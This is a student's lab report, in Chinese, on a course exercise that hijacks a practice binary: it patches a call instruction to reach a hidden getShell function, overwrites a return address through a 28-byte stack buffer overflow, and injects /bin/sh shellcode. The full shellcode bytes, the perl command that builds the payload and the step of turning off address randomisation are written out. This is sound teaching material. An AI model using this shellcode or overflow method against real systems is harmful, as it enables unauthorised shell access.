20192406梁健 2021-2022-2 《网络与系统攻防技术》实验一实验报告

20192406梁健 2021-2022-2 《网络与系统攻防技术》实验一实验报告

1.实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

2.实验过程

方案一:手工修改

(1)首先通过objdump反汇编查看pwn文件中函数的地址

<getShell> 0x0804847d

<foo> 0x08048491

(2)查看main函数中调用foo函数的代码

80484b5: e8 d7 ff ff ff ;;call 8048491

80484ba: b8 00 00 00 00 ;;mov $0x0,%eax

(3)根据地址信息计算新的调用地址

main函数调用foo函数分析:

执行到call 8048491 行时发生了调用,此时指令寄存器EIP中存放的信息为0x080484ba。因此有如下计算公式

foo地址 - [EIP] = call指令后的数据

0x08048491 - 0x080484ba = 0x-29

0x-29的补码是d7 ff ff ff,以小端序显示

如果要修改为调用getShell函数,则有如下计算公式:

getShell地址 - [EIP] = call指令后的数据

0x0804847d - 0x080484ba = 0x-3d

0x-3d的补码是ff ff ff c3,小端序为c3 ff ff ff

(3)修改文件内容

使用vi编辑器的十六进制显示模式:%!xxd,查找d7 ff ff ff,将其修改为c3 ff ff ff

方案二:构造字符串

(1)查看foo函数的Bof漏洞并计算缓冲区空间

08048491 <foo>:

8048491: 55 ;;push %ebp

8048492: 89 e5 ;;mov %esp,%ebp

8048494: 83 ec 38 ;;sub $0x38,%esp

8048497: 8d 45 e4 ;;lea -0x1c(%ebp),%eax

804849a: 89 04 24 ;;mov %eax,(%esp)

指令sub $0x38,%esp表示开辟0x38的堆栈空间,lea -0x1c(%ebp),%eax表示将-0x1c的空间赋给临时变量(用于存储输入)。由进制转换可知,38(h) = 56(d), 1c(h) = 28(d),所以缓冲区大小为28个字符。

堆栈内容:

高地址


EIP      返回本次调用后,下一条指令的地址(0x080484ba)


------------------------------------------------------


EBP     保存调用者的EBP,然后EBP指向此时的栈顶。


临时变量占28位(0x1c)


xxxxxxxxxxxxx      剩余空间28位


-------------------- 申请栈的总空间0x38 = 56位


低地址

(2)测试返回地址所在的溢出位置

使用gdb调试程序,查看溢出的字段对EIP的影响。

由图片可以看出从输入的第29位开始,1111的ASCII 31313131被写入ESP,2222的ASCII 32323232被写入EIP,即输入的第33到36位为覆盖的返回地址。

(3)构造注入字符串并实现注入

由(2)可知,注入字符串需要在第33到36位写上<getShell>函数的地址0x0804847d,通过查询ASCII可知,08、04、84都是不可显示字符,无法通过键盘输入。因此需要借助perl工具将十六进制的0x0804847d写入输入文件,再通过输入文件的内容进行注入。前32位的内容无所谓。

方案三:注入shellcode

(1)根据实验指导视频选择payload的结构及基本内容

payload : anything+retaddr+nop+shellcode ##选择此结构的理由见问题1

anything为32个任意字符

retaddr为nop或shellcode的地址

nop为系统空指令 \x90

shellcode为以/bin/sh为基础的字符串

shellcode的十六进制汇编指令如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90

※主要的问题是如何确定retaddr应该填写的内容。

(2)使用GDB调试检测retaddr的内容

在一个终端中执行(cat input;cat)|./pwn20192406但不运行程序,在另一个终端中使用ps -ef|grep pwn20192406查询pwn20192406程序进程号,并使用gdb的attach pid命令调试进程。

使用disassemble foo将foo函数反汇编,然后在foo函数的ret位置设置断点break *0x080484ae, 输入命令c继续执行,然后在第一个终端按回车。命令info r esp查看esp的内容,命令x/16x 0xffffd15c查看内存信息,命令x/16x 0xffffd13c查看文件输入信息。

由图片信息可知,返回地址在0xffffd15c,因此nop的地址应该在返回地址的下一位,所以可以选择0xffffd160,所以payload中的retaddr应该为60d1ffff。

(3)使用perl生成shellcode文件

执行命令生成shellcode

perl -e 'print "a"x32;print"\x60\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > shellcode

(4)执行shellcode注入

(cat shellcode; cat) | ./pwn20192406

3.问题及解决方案

- 问题1:nop+shellcode+retaddr结构无法成功实现注入。

- 问题1解决方案:这种结构无法成功的原因,我的理解是本机是64位机器,无法关闭堆栈保护和堆栈执行保护,因此在栈中的代码无法执行,因为上述结构shellcode是在栈中,无法执行,所以这种payload结构无法使用。解决方法是使用另一种payload结构实现注入,shellcode在栈外时,代码就可以执行了。

- 问题2:每次执行程序时数据在栈中的地址是随机的,需要修改这个系统设置。

- 问题2解决方案:关闭地址随机化,以管理员身份进入对应文件夹,然后对该文件的内容进行修改,由2改为0。文件:(/proc/sys/kernel/randomize_va_space=O)

4.学习感悟

通过本次实验学习了缓冲区溢出攻击的相关知识和实践操作。虽然之前也学习过缓冲区溢出攻击的相关知识,但是本次实验从另一个角度再次学习了这个知识,我对这个缓冲区溢出攻击的理解更进一步,并且通过实际动手实现shellcode注入攻击,和之前学习的内容相比,我对系统寄存器的功能和汇编语言的相关知识了解更多,对包括EBP,EIP,ESP等主要寄存器的认识更丰富。虽然实现的过程比较顺利,但是仍然还有一些细节的知识理解的不是很好,还需要继续学习,增强能力水平。

posted @ 2022-03-21 14:13  20192406lj  阅读(104)  评论(0编辑  收藏  举报